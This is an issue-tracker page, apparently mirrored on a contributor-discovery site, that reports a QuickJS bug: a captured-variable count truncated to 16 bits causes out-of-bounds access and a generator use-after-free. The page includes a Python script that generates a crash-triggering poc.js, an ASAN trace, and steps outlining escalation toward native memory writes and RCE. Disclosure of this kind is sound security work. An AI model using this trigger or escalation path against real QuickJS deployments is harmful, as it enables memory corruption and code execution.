Captured variable count truncation causes out-of-bounds r/w + generator use-after-free

未关闭
#1,865 0 条评论 0 个 reaction 已指派 0 人 在 GitHub 查看

维护者通常 1 天内回复

@ck0i 已经在做这个了。

开始于 2026年11月2日。

  • #1869 来自 @ck0i —— 未关闭

评估

难度
4/5
预计耗时
3-5 天
新手友好度
52/100
Issue 类型
缺陷
描述清晰度
描述清楚
活跃度
活跃
技术栈
c
领域
security

调研方向

Start in quickjs.c at capture_var(), async_func_init(), and close_lexical_var(), following how the captured-variable count is stored and used to allocate and close the generator frame. Reproduce with the supplied poc.js under ASAN using qjs poc.js. The fix is complete when the 65,536-variable case no longer causes an out-of-bounds access or generator use-after-free, with regression coverage for the count boundary.

由索引模型根据 Issue 内容生成。

描述

capture_var() assigns JSVarDef.var_ref_idx from unchecked int count. And JSFunctionBytecode.var_ref_count stores that count in uint16_t.

  1. Capturing 65,536 variables makes var_ref_count wrap to zero.
  2. async_func_init() allocates generator frame using truncated count.
  3. close_lexical_var() indexes sf->var_refs[var_ref_idx] using original index, reads past this frame, and clears that slot if it contains pointer.
  4. When that slot contains a live JSVarRef *, then close_var_ref() decrements the generator frame's reference count. And then the frame can be freed while the generator object still points to it.
  5. Reusing the frame with an ArrayBuffer lets the stale generator write two native callback fields

So can be escalated to write pretty easily, and we also have a working RCE exploit for this.

PoC

from pathlib import Path

a = ",".join(f"a{i}" for i in range(32768))
v = ",".join(f"v{i}" for i in range(32767))
refs = ";".join([f"a{i}" for i in range(32768)] +
                [f"v{i}" for i in range(32767)])

Path("poc.js").write_text(
    f"function* g({a}){{\n"
    "  { let x=1; if (Math.random()<0) (()=>x); }\n"
    f"  var {v};\n"
    f"  if (Math.random()<0) (()=>{{{refs}}});\n"
    "  yield 1;\n}\n"
    "var it=g(); it.next();\n"
)

Test with ASAN qjs poc.js

ASAN Crash

=================================================================
==47==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x72401ee9c890 at pc 0x5f022f6a55bf bp 0x7ffcbfb97620 sp 0x7ffcbfb97610
READ of size 8 at 0x72401ee9c890 thread T0
    #0 0x5f022f6a55be in close_lexical_var /tmp/quickjs-bellard/quickjs.c:18000
    #1 0x5f022f6a55be in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:19228
    #2 0x5f022f7d1ed3 in async_func_resume /tmp/quickjs-bellard/quickjs.c:21536
    #3 0x5f022f7d2778 in js_generator_next /tmp/quickjs-bellard/quickjs.c:21689
    #4 0x5f022f715db3 in js_call_c_function /tmp/quickjs-bellard/quickjs.c:18127
    #5 0x5f022f68b95c in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18274
    #6 0x5f022f68a9c3 in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18678
    #7 0x5f022f6a8e37 in JS_CallFree /tmp/quickjs-bellard/quickjs.c:21300
    #8 0x5f022f806649 in JS_EvalFunctionInternal /tmp/quickjs-bellard/quickjs.c:38190
    #9 0x5f022f807d90 in __JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38323
    #10 0x5f022f719b86 in JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38349
    #11 0x5f022f719b86 in JS_EvalThis /tmp/quickjs-bellard/quickjs.c:38382
    #12 0x5f022f719b86 in JS_Eval /tmp/quickjs-bellard/quickjs.c:38390
    #13 0x5f022f657f5e in eval_buf /tmp/quickjs-bellard/qjs.c:70
    #14 0x5f022f658159 in eval_file /tmp/quickjs-bellard/qjs.c:105
    #15 0x5f022f656f25 in main /tmp/quickjs-bellard/qjs.c:538
    #16 0x76402262a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
    #17 0x76402262a717 in __libc_start_main_impl ../csu/libc-start.c:360
    #18 0x5f022f657444 in _start (/tmp/quickjs-bellard/qjs+0x39444) (BuildId: 48cfb24202ae50ac2117949e7ce8bbd86c98c281)

0x72401ee9c890 is located 0 bytes after 524432-byte region [0x72401ee1c800,0x72401ee9c890)
allocated by thread T0 here:
    #0 0x764022b2b60f in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
    #1 0x5f022f65e969 in js_def_malloc /tmp/quickjs-bellard/quickjs.c:2195
    #2 0x5f022f65836e in js_malloc_large /tmp/quickjs-bellard/quickjs.c:1567
    #3 0x5f022f6cf141 in __js_malloc /tmp/quickjs-bellard/quickjs.c:1619
    #4 0x5f022f6cf141 in js_malloc_rt /tmp/quickjs-bellard/quickjs.c:1831
    #5 0x5f022f6cf141 in js_malloc /tmp/quickjs-bellard/quickjs.c:1862
    #6 0x5f022f6cf141 in async_func_init /tmp/quickjs-bellard/quickjs.c:21479
    #7 0x5f022f7d2e6e in js_generator_function_call /tmp/quickjs-bellard/quickjs.c:21744
    #8 0x5f022f68b95c in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18274
    #9 0x5f022f689fcd in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18642
    #10 0x5f022f6a8e37 in JS_CallFree /tmp/quickjs-bellard/quickjs.c:21300
    #11 0x5f022f806649 in JS_EvalFunctionInternal /tmp/quickjs-bellard/quickjs.c:38190
    #12 0x5f022f807d90 in __JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38323
    #13 0x5f022f719b86 in JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38349
    #14 0x5f022f719b86 in JS_EvalThis /tmp/quickjs-bellard/quickjs.c:38382
    #15 0x5f022f719b86 in JS_Eval /tmp/quickjs-bellard/quickjs.c:38390
    #16 0x5f022f657f5e in eval_buf /tmp/quickjs-bellard/qjs.c:70
    #17 0x5f022f658159 in eval_file /tmp/quickjs-bellard/qjs.c:105
    #18 0x5f022f656f25 in main /tmp/quickjs-bellard/qjs.c:538
    #19 0x76402262a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
    #20 0x76402262a717 in __libc_start_main_impl ../csu/libc-start.c:360
    #21 0x5f022f657444 in _start (/tmp/quickjs-bellard/qjs+0x39444) (BuildId: 48cfb24202ae50ac2117949e7ce8bbd86c98c281)

SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/quickjs-bellard/quickjs.c:18000 in close_lexical_var
Shadow bytes around the buggy address:
  0x72401ee9c600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x72401ee9c880: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9c900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9c980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9ca00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9ca80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9cb00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==47==ABORTING
主要语言
C
星标
3.9k
派生
389
平均合并
4 天 5 小时
30 天内合并 PR
16

环境准备

这个项目没有提供开发容器、Dockerfile 或贡献指南,环境需要你自己搭建:先看它的 README,通用步骤见我们的新手贡献指南。

从这里开始

  1. 先读完整个 Issue,再读项目的贡献指南。
  2. 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
  3. Fork 仓库,在一个分支上完成修改。
  4. 提交 Pull Request,并在描述里引用这个 Issue 编号。

quickjs-ng/quickjs 的其他 Issue

查看 quickjs-ng/quickjs 的全部 Issue

相似的 Issue

更多 C Issue

把新 issue 发到你的邮箱

精选适合新手参与的 GitHub issue 摘要。